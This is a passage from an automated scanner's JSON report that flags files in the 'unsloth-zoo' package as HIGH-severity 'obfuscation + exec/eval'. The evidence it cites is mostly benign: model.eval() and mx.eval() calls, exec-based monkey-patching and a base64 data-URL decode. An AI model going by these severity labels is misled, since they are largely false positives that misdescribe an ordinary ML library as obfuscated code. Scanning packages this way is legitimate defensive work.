{args.gradient_accumulation_steps}\\\\n\"\\\\\nL7498: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7499: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7496: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7497: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7498: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L2091: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2341: _modeling_file = eval(model_location) | L3099: f = eval(f\"{model_location}.{module}\") | L3458: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3459: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L5253: exec(f\"import {parent}\", locals(), globals()) | L5341: dir(eval(parent)), | L5353: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5433: module = eval(f\"modeling_file.{module}\") | L5460: inner_class = eval(f\"modeling_file.{inner_class}\") | L5695: exec(f\"from timm.layers.norm_act import {norm}\") | L5703: forward = eval(norm).forward | L5709: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5726: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5734: forward = eval(block).forward | L5740: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L6001: exec(\nL6002: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL6003: globals(),\nL6004: locals(),\nL6005: ) | L6007: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L6011: exec(\nL6012: f\"combined_module.torch.nn.{module}.forward = forward\",\nL6013: globals(),\nL6014: locals(),\nL6015: ) | L6017: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L6114: source = eval(f\"{model_location}.torch\") | L6121: function = eval(f\"source.nn.{module}\") | L6419: exec(\"import transformers\", globals()) | L6445: exec(\nL6446: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL6447: ) | L6449: exec(\nL6450: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL6451: globals(),\nL6452: locals(),\nL6453: ) | L6688: source = eval(f\"modeling_file.{module}\") | L6703: source = eval(f\"modeling_file.{module}\") | L6830: source = eval(f\"modeling_file.{module}\") | L6876: source = eval(f\"{model_location}.{module}\") | L6956: source = eval(f\"{model_location}.{module}\") | L7004: source = eval(f\"{model_location}.{module}\") | L7255: source = eval(f\"{model_location}.{module}\") | L7326: source = eval(f\"{model_location}.{module}\") | L7367: module_cls = eval(f\"{model_location}.{module}\") | L7404: module_cls = eval(f\"{model_location}.{module}\") | L7481: exec(\nL7482: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL7483: globals(),\nL7484: ) | L7546: exec(inner_training_loop, globals()) | L7555: function = eval(f\"{model_location}.{module}\") | L7648: function = eval(f\"{model_location}.{module}\") | L7839: exec(\nL7840: f\"{model_location}.{module} = combined_module.{module}\",\nL7841: globals(),\nL7842: locals(),\nL7843: ) | L7853: check_dicts = dir(eval(f\"{model_location}\")) | L7855: item = eval(f\"{model_location}.{check}\") | L7867: exec(\nL7868: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7869: globals(),\nL7870: locals(),\nL7871: )", "evidence_hash": "3674ba2e5d3b40fa0c0d7dfa2c0c7be041317c76c2bc68339cb8a74846feaaef", "file_sha256": "db6a33d7318d780862f5676811c0bdeeebcb8fac1319b58007d48d1197f679f2" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_gdn_replayssm.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L140: exec(compile(source, f\"\", \"exec\"), namespace, scope)\nExec: L140: exec(compile(source, f\"\", \"exec\"), namespace, scope)", "evidence_hash": "af9bbd099e27249e8568608b434a0caab1be4b7da651826363c6d83cc5eab5ed", "file_sha256": "91d58e26a91a1025e3b314e6917d1d4a6b2c7b98c134bcef0ef6af904cfd2b5b" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_gdn_replayssm.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L136: exec(compile(source, f\"\", \"exec\"), namespace, scope)\nExec: L136: exec(compile(source, f\"\", \"exec\"), namespace, scope)", "evidence_hash": "af9bbd099e27249e8568608b434a0caab1be4b7da651826363c6d83cc5eab5ed", "file_sha256": "cf1de17693e08d5bbc550125329c60684f808e17039324e76d146ac1100f514e" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5057: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1419: cross_attn_layer = eval(f'vllm_internals.{name}') | L1464: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L2066: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L2072: exec(f\"new_model.{layer_name_br} = layer\") | L2155: exec(f\"new_model.{layer_name_br}.weight = None\") | L2156: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L2158: exec(f\"new_model.{layer_name_br}.bias = None\") | L2159: exec(f\"new_model.{layer_name_br}.bias = bias\") | L2165: exec(f\"new_model.{layer_name} = layer\") | L2197: new_model.eval() | L4864: exec(f\"module.to({dtype})\") | L4887: exec(f\"module.to({dtype})\") | L6768: model.eval() | L6808: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "440a5a8726b5e346d54a7ff3019cdf0413bee4267f6a683e6561660271eed81d" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5416: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1419: cross_attn_layer = eval(f'vllm_internals.{name}') | L1464: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L2066: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L2072: exec(f\"new_model.{layer_name_br} = layer\") | L2155: exec(f\"new_model.{layer_name_br}.weight = None\") | L2156: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L2158: exec(f\"new_model.{layer_name_br}.bias = None\") | L2159: exec(f\"new_model.{layer_name_br}.bias = bias\") | L2165: exec(f\"new_model.{layer_name} = layer\") | L2197: new_model.eval() | L5223: exec(f\"module.to({dtype})\") | L5246: exec(f\"module.to({dtype})\") | L7127: model.eval() | L7167: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "7113efd94a0c22ce49d2dc99fbbc80a0a4186cda4d7a8301a9c87fe546a14edc" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5621: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1425: cross_attn_layer = eval(f'vllm_internals.{name}') | L1470: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L2091: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L2097: exec(f\"new_model.{layer_name_br} = layer\") | L2180: exec(f\"new_model.{layer_name_br}.weight = None\") | L2181: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L2183: exec(f\"new_model.{layer_name_br}.bias = None\") | L2184: exec(f\"new_model.{layer_name_br}.bias = bias\") | L2190: exec(f\"new_model.{layer_name} = layer\") | L2222: new_model.eval() | L5407: exec(f\"module.to({dtype})\") | L5430: exec(f\"module.to({dtype})\") | L7368: model.eval() | L7408: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "7475d80896832accc512b8b94d242697430889f49e46450c53ce18926e099550" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5943: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1542: cross_attn_layer = eval(f'vllm_internals.{name}') | L1587: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L2208: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L2214: exec(f\"new_model.{layer_name_br} = layer\") | L2297: exec(f\"new_model.{layer_name_br}.weight = None\") | L2298: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L2300: exec(f\"new_model.{layer_name_br}.bias = None\") | L2301: exec(f\"new_model.{layer_name_br}.bias = bias\") | L2307: exec(f\"new_model.{layer_name} = layer\") | L2339: new_model.eval() | L5729: exec(f\"module.to({dtype})\") | L5752: exec(f\"module.to({dtype})\") | L7761: model.eval() | L7801: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "69e77d19538f9d3027f9995313fe03b5c6077c27d1cf2e7ea610bc06222e34e7" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L6088: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1687: cross_attn_layer = eval(f'vllm_internals.{name}') | L1732: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L2353: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L2359: exec(f\"new_model.{layer_name_br} = layer\") | L2442: exec(f\"new_model.{layer_name_br}.weight = None\") | L2443: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L2445: exec(f\"new_model.{layer_name_br}.bias = None\") | L2446: exec(f\"new_model.{layer_name_br}.bias = bias\") | L2452: exec(f\"new_model.{layer_name} = layer\") | L2484: new_model.eval() | L5874: exec(f\"module.to({dtype})\") | L5897: exec(f\"module.to({dtype})\") | L7952: model.eval() | L7992: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "03153b84b28e94d687accc4803f763a212a400a8cddf3077d8c931302479daeb" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5974: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1647: cross_attn_layer = eval(f'vllm_internals.{name}') | L1692: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L2312: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L2318: exec(f\"new_model.{layer_name_br} = layer\") | L2401: exec(f\"new_model.{layer_name_br}.weight = None\") | L2402: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L2404: exec(f\"new_model.{layer_name_br}.bias = None\") | L2405: exec(f\"new_model.{layer_name_br}.bias = bias\") | L2411: exec(f\"new_model.{layer_name} = layer\") | L2442: new_model.eval() | L5762: exec(f\"module.to({dtype})\") | L5785: exec(f\"module.to({dtype})\") | L7823: model.eval() | L7863: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "2a964fe1abf589679436a2eab0089a1dc4f4ecf224cff2d51df5643d78836a7a" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5974: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1647: cross_attn_layer = eval(f'vllm_internals.{name}') | L1692: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L2312: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L2318: exec(f\"new_model.{layer_name_br} = layer\") | L2401: exec(f\"new_model.{layer_name_br}.weight = None\") | L2402: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L2404: exec(f\"new_model.{layer_name_br}.bias = None\") | L2405: exec(f\"new_model.{layer_name_br}.bias = bias\") | L2411: exec(f\"new_model.{layer_name} = layer\") | L2442: new_model.eval() | L5762: exec(f\"module.to({dtype})\") | L5785: exec(f\"module.to({dtype})\") | L7841: model.eval() | L7881: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "e7f6ea8d52f230de5af89a004be92e575487f011c170ea0e007bafb34dcc1a6e" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L6008: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1667: cross_attn_layer = eval(f'vllm_internals.{name}') | L1712: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L2332: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L2338: exec(f\"new_model.{layer_name_br} = layer\") | L2421: exec(f\"new_model.{layer_name_br}.weight = None\") | L2422: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L2424: exec(f\"new_model.{layer_name_br}.bias = None\") | L2425: exec(f\"new_model.{layer_name_br}.bias = bias\") | L2431: exec(f\"new_model.{layer_name} = layer\") | L2462: new_model.eval() | L5796: exec(f\"module.to({dtype})\") | L5819: exec(f\"module.to({dtype})\") | L7885: model.eval() | L7925: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "30bc2070a525d3032117490f8a19640c0b02bed9632a03913fb41f62e8a49314" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/decision.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L382: with av.open(io.BytesIO(base64.b64decode(url.partition(\",\")[2], validate = True))) as container: sha256:946796d261fb90a0f7ad5f482b39026735f161d8d6877aa38112583f98acf957\nExec: L248: mx.eval(out) | L283: model.eval() | L284: mx.eval(model.parameters()) | L799: model.eval() | L800: mx.eval(model.parameters()) | L836: mx.eval(decoder.parameters(), list(swapped.values())) | L1032: self.model.eval() | L1034: mx.eval(_held_arrays(self.model)) | L1043: mx.eval(self.model.parameters()) | L1101: mx.eval(head, [entry.state for entry in cache]) | L1500: head.eval() | L1501: mx.eval(head.parameters()) | L1600: mx.eval(self.head.parameters()) | L1601: self.head.eval() | L2261: mx.eval(x) | L2273: mx.eval(loss, grads, cotangent) | L2281: mx.eval(stage_grads, cotangent) | L2371: mx.eval(model.parameters()) | L2412: mx.eval(self.parameters()) | L2438: mx.eval(logits) | L2581: mx.eval(total, grads) | L2608: network.eval() | L2685: model.eval()", "evidence_hash": "e5c046b344a2c0510818ad399a97dff75d55265a18f6eb8f030bfaf1a93db3c5", "file_sha256": "5ecb26dfc173d96cfb5868455ef94a03ac18257edb46db56a4190affd3d2cacd" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/decision.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L378: with av.open(io.BytesIO(base64.b64decode(url.partition(\",\")[2], validate = True))) as container: sha256:946796d261fb90a0f7ad5f482b39026735f161d8d6877aa38112583f98acf957\nExec: L244: mx.eval(out) | L279: model.eval() | L280: mx.eval(model.parameters()) | L791: model.eval() | L792: mx.eval(model.parameters()) | L828: mx.eval(decoder.parameters(), list(swapped.values())) | L1022: self.model.eval() | L1024: mx.eval(_held_arrays(self.model)) | L1033: mx.eval(self.model.parameters()) | L1091: mx.eval(head, [entry.state for entry in cache]) | L1490: head.eval() | L1491: mx.eval(head.parameters()) | L1588: mx.eval(self.head.parameters()) | L1589: self.head.eval() | L2227: mx.eval(x) | L2239: mx.eval(loss, grads, cotangent) | L2247: mx.eval(stage_grads, cotangent) | L2337: mx.eval(model.parameters()) | L2378: mx.eval(self.parameters()) | L2404: mx.eval(logits) | L2543: mx.eval(total, grads) | L2570: network.eval() | L2645: model.eval()", "evidence_hash": "e5c046b344a2c0510818ad399a97dff75d55265a18f6eb8f030bfaf1a93db3c5", "file_sha256": "b5d4296911a24616a535457bb0822d7427c7fbd2e9af6bfff16bcdef0a236cf2" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/decision.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L383: with av.open(io.BytesIO(base64.b64decode(url.partition(\",\")[2], validate = True))) as container: sha256:946796d261fb90a0f7ad5f482b39026735f161d8d6877aa38112583f98acf957\nExec: L249: mx.eval(out) | L284: model.eval() | L285: mx.eval(model.parameters()) | L819: model.eval() | L820: mx.eval(model.parameters()) | L856: mx.eval(decoder.parameters(), list(swapped.values())) | L1050: self.model.eval() | L1052: mx.eval(_held_arrays(self.model)) | L1061: mx.eval(self.model.parameters()) | L1119: mx.eval(head, [entry.state for entry in cache]) | L1518: head.eval() | L1519: mx.eval(head.parameters()) | L1616: mx.eval(self.head.parameters()) | L1617: self.head.eval() | L1948: mx.eval(pipeline.model.parameters()) | L2448: mx.eval(x) | L2460: mx.eval(loss, grads, cotangent) | L2468: mx.eval(stage_grads, cotangent) | L2558: mx.eval(model.parameters()) | L2599: mx.eval(self.parameters()) | L2625: mx.eval(logits) | L2768: mx.eval(total, grads) | L2795: network.eval() | L2987: model.eval()", "evidence_hash": "af2b198ef0113d5b907d6d647e753bda728a7e9fa7ef5a2f97492ace3613cb65", "file_sha256": "6ad8c3ea5e5d5590ce27d3b82c417622dcfb61f8bfa0aaf90a01eb665d87b418" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/decision.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L383: with av.open(io.BytesIO(base64.b64decode(url.partition(\",\")[2], validate = True))) as container: sha256:946796d261fb90a0f7ad5f482b39026735f161d8d6877aa38112583f98acf957\nExec: L249: mx.eval(out) | L284: model.eval() | L285: mx.eval(model.parameters()) | L819: model.eval() | L820: mx.eval(model.parameters()) | L856: mx.eval(decoder.parameters(), list(swapped.values())) | L1050: self.model.eval() | L1052: mx.eval(_held_arrays(self.model)) | L1061: mx.eval(self.model.parameters()) | L1119: mx.eval(head, [entry.state for entry in cache]) | L1518: head.eval() | L1519: mx.eval(head.parameters()) | L1616: mx.eval(self.head.parameters()) | L1617: self.head.eval() | L1958: mx.eval(pipeline.model.parameters()) | L2458: mx.eval(x) | L2470: mx.eval(loss, grads, cotangent) | L2478: mx.eval(stage_grads, cotangent) | L2568: mx.eval(model.parameters()) | L2609: mx.eval(self.parameters()) | L2635: mx.eval(logits) | L2778: mx.eval(total, grads) | L2805: network.eval() | L2997: model.eval()", "evidence_hash": "af2b198ef0113d5b907d6d647e753bda728a7e9fa7ef5a2f97492ace3613cb65", "file_sha256": "bc3060e26a80583b451b684b2b89300c9d5d7a06f8f3067092d2ce368378ccca" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5470: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L163: mx.eval(model.parameters()) | L197: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1497: mx.eval(model.parameters()) | L1498: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1565: mx.eval(model.parameters()) | L1568: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2997: mx.eval(altup.correct(predictions, activated)) | L3469: model.eval() | L3546: mx.eval(baseline, perturbed) | L3612: mx.eval([value for table in tables for value in table.values()]) | L5118: model.eval() | L5897: mx.eval(model.parameters()) | L6013: mx.eval(module.weight) | L8618: mx.eval(model.parameters()) | L8635: mx.eval(target.parameters()) | L9638: lambda: mx.eval(model.parameters()), | L9702: lambda: mx.eval(model.parameters()), | L9865: mx.eval(model.parameters())", "evidence_hash": "df3ad4dc00bd93c1131bcba7020ff6054aea106e07ebf8ff31dd46715e934670", "file_sha256": "92834740e88ecbc5269ceb2a7969d669d3874e00f9b8d1e383c7a61904a1655d" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5471: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L161: mx.eval(model.parameters()) | L195: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1498: mx.eval(model.parameters()) | L1499: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1566: mx.eval(model.parameters()) | L1569: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2998: mx.eval(altup.correct(predictions, activated)) | L3470: model.eval() | L3547: mx.eval(baseline, perturbed) | L3613: mx.eval([value for table in tables for value in table.values()]) | L5119: model.eval() | L5898: mx.eval(model.parameters()) | L6014: mx.eval(module.weight) | L8657: mx.eval(model.parameters()) | L8674: mx.eval(target.parameters()) | L9678: lambda: mx.eval(model.parameters()), | L9742: lambda: mx.eval(model.parameters()), | L9905: mx.eval(model.parameters())", "evidence_hash": "df3ad4dc00bd93c1131bcba7020ff6054aea106e07ebf8ff31dd46715e934670", "file_sha256": "5f9667c4950dd2a25455a98d5fb22a580512a6648b1d000c9d22ce758f321ed7" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5709: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L161: mx.eval(_resident_parameters(model)) | L338: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1677: mx.eval(model.parameters()) | L1678: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1745: mx.eval(model.parameters()) | L1748: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L3179: mx.eval(altup.correct(predictions, activated)) | L3701: model.eval() | L3778: mx.eval(baseline, perturbed) | L3844: mx.eval([value for table in tables for value in table.values()]) | L5357: model.eval() | L6136: mx.eval(model.parameters()) | L6517: mx.eval(list(shard.values())) | L6591: mx.eval(module.weight) | L8105: mx.eval(kwargs[\"input_embeddings\"]) | L9339: mx.eval(_resident_parameters(model)) | L9356: mx.eval(target.parameters()) | L10535: lambda: mx.eval(model.parameters()), | L10602: lambda: mx.eval(model.parameters()), | L10773: mx.eval(model.parameters()) | L10828: mx.eval(model.parameters())", "evidence_hash": "c334b5de8e1305106b419f85e399171b3c1ed8fdd89eb2dac7c6f0e6f1d98783", "file_sha256": "48108cf16d7dbe1796fa75c9d6fb9328ef784f981a2e84a999597452606addd6" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5823: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L161: mx.eval(_resident_parameters(model)) | L338: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1745: mx.eval(model.parameters()) | L1746: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1813: mx.eval(model.parameters()) | L1816: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L3291: mx.eval(altup.correct(predictions, activated)) | L3814: model.eval() | L3891: mx.eval(baseline, perturbed) | L3957: mx.eval([value for table in tables for value in table.values()]) | L5471: model.eval() | L6252: mx.eval(model.parameters()) | L6633: mx.eval(list(shard.values())) | L6707: mx.eval(module.weight) | L8221: mx.eval(kwargs[\"input_embeddings\"]) | L9455: mx.eval(_resident_parameters(model)) | L9472: mx.eval(target.parameters()) | L10656: lambda: mx.eval(model.parameters()), | L10723: lambda: mx.eval(model.parameters()), | L10894: mx.eval(model.parameters()) | L10949: mx.eval(model.parameters())", "evidence_hash": "c334b5de8e1305106b419f85e399171b3c1ed8fdd89eb2dac7c6f0e6f1d98783", "file_sha256": "529805a0662635b4fe08bbda0e9e252bee5bcc5627999aba93d7f14b1bed210d" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5687: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L153: mx.eval(_resident_parameters(model)) | L329: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1746: mx.eval(model.parameters()) | L1747: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1814: mx.eval(model.parameters()) | L1817: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L3269: mx.eval(altup.correct(predictions, activated)) | L3760: model.eval() | L3834: mx.eval(baseline, perturbed) | L3900: mx.eval([value for table in tables for value in table.values()]) | L5371: model.eval() | L6108: mx.eval(model.parameters()) | L6486: mx.eval(list(shard.values())) | L6560: mx.eval(module.weight) | L8038: mx.eval(kwargs[\"input_embeddings\"]) | L9221: mx.eval(_resident_parameters(model)) | L9238: mx.eval(target.parameters()) | L10382: lambda: mx.eval(model.parameters()), | L10449: lambda: mx.eval(model.parameters()), | L10619: mx.eval(model.parameters()) | L10674: mx.eval(model.parameters())", "evidence_hash": "c334b5de8e1305106b419f85e399171b3c1ed8fdd89eb2dac7c6f0e6f1d98783", "file_sha256": "5ef9f2b60ea4b44e24f653c0d98f70ffe5698a6992c39dc52bddde97636f2d91" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5687: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L153: mx.eval(_resident_parameters(model)) | L329: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1746: mx.eval(model.parameters()) | L1747: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1814: mx.eval(model.parameters()) | L1817: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L3269: mx.eval(altup.correct(predictions, activated)) | L3760: model.eval() | L3834: mx.eval(baseline, perturbed) | L3900: mx.eval([value for table in tables for value in table.values()]) | L5371: model.eval() | L6108: mx.eval(model.parameters()) | L6486: mx.eval(list(shard.values())) | L6560: mx.eval(module.weight) | L8039: mx.eval(kwargs[\"input_embeddings\"]) | L9223: mx.eval(_resident_parameters(model)) | L9240: mx.eval(target.parameters()) | L10384: lambda: mx.eval(model.parameters()), | L10451: lambda: mx.eval(model.parameters()), | L10621: mx.eval(model.parameters()) | L10676: mx.eval(model.parameters())", "evidence_hash": "c334b5de8e1305106b419f85e399171b3c1ed8fdd89eb2dac7c6f0e6f1d98783", "file_sha256": "84b2315ed5751097cbf1aa11ff6eb2001a88addcf777710472483ff179f7a6aa" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5728: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L153: mx.eval(_resident_parameters(model)) | L329: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1787: mx.eval(model.parameters()) | L1788: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1855: mx.eval(model.parameters()) | L1858: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L3310: mx.eval(altup.correct(predictions, activated)) | L3801: model.eval() | L3875: mx.eval(baseline, perturbed) | L3941: mx.eval([value for table in tables for value in table.values()]) | L5412: model.eval() | L6149: mx.eval(model.parameters()) | L6527: mx.eval(list(shard.values())) | L6601: mx.eval(module.weight) | L8080: mx.eval(kwargs[\"input_embeddings\"]) | L9264: mx.eval(_resident_parameters(model)) | L9281: mx.eval(target.parameters()) | L10426: lambda: mx.eval(model.parameters()), | L10493: lambda: mx.eval(model.parameters()), | L10663: mx.eval(model.parameters()) | L10718: mx.eval(model.parameters())", "evidence_hash": "c334b5de8e1305106b419f85e399171b3c1ed8fdd89eb2dac7c6f0e6f1d98783", "file_sha256": "a964daf4354c285bc134b0b16a48248c5b9194c6e3d15bc6af9c5049ec3faa65" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5737: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L153: 